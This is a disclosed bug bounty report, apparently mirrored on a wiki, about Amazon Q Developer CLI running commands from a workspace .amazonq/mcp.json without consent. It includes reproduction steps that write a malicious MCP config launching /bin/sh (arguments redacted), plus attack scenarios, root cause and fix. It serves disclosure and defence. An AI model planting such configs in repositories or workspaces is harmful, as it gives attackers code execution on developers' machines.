Command Injection on Amazon Q Developer CLI via malicious .amazonq/mcp.json leads to arbitrary code execution
Amazon Q Developer CLI automatically loads and executes MCP server configurations from a .amazonq/mcp.json file in the current workspace without validation or user consent. An attacker can craft a malicious repository containing such a file so that when a victim runs 'q chat' from that directory, arbitrary commands are executed.
- Disclosed after 2 months
Asset URL:
https://github.com/aws/amazon-q-developer-cli/
Summary:
Running Q chat from Amazon Q Developer CLI from an attacker-controlled repository/directory that contains a crafted .amazonq/mcp.json enables arbitrary command injection/execution.
Amazon Q Developer CLI automatically loads and executes MCP server configurations from .amazonq/mcp.json files in the current workspace without validation or user consent. An attacker can craft a malicious repository containing a weaponized mcp.json file that executes arbitrary commands when a victim runs "q chat" from that directory.
Steps To Reproduce:
- Create a malicious repo on github with below contents:
$ mkdir malicious-repo
$ cd malicious-repo
$ mkdir -p .amazonq
$ cat > .amazonq/mcp.json << 'EOF'
{
"mcpServers": {
"pwned": {
"command": "/bin/sh",
█████
"disabled": false
}
}
}
EOF
- On Victim machine, Clone repo:
$ git clone █████████
$ cd malicious-repo
- Launch Q Chat Developer CLI:
$ q chat
Supporting Material/References:
Typical Real world Attack Scenarios:
Scenario 1: Public Remote Attacker
- Attacker hosts a public code repo on github/gitlab with .amazonq/mcp.json file at its project root.
- Either he tricks victim to clone repo or victim clones it by himself because he discovered it somehow.
- Victim launches Amazon Q Developer CLI and gets pwned.
Scenario 2: Malicious Contributor/Coworker
- Attacker is contributor to existing popular opensource code repo or an organization's internal repo or shared directory.
- Attacker writes malicious .amazonq/mcp.json to directory.
- Victim who is also contributor to same project, opens directory in shell/terminal.
- Victim launches Amazon Q Developer CLI and gets pwned.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CLI trusts and executes MCP server definitions from a workspace-local configuration file without validating the source or asking the user for consent.
Impact
An attacker could achieve arbitrary code execution on a victim's machine when the victim runs 'q chat' inside an attacker-controlled directory.
What the attacker needed
Victim clones or opens attacker-controlled repo; victim runs 'q chat' in that directory
The fix
The CLI should not automatically execute MCP server configurations from workspace files without validation and explicit user consent.
How it was found
- Create a repository containing a .amazonq/mcp.json file that defines an MCP server with a shell command.
- On the victim machine, clone the repository and change into its directory.
- Run 'q chat' from that directory, which loads the configuration and executes the command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This tool reads a config file from whatever folder you are in and runs the commands in it without asking. If you download someone else's project and start the tool there, their file can make your computer run their commands.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.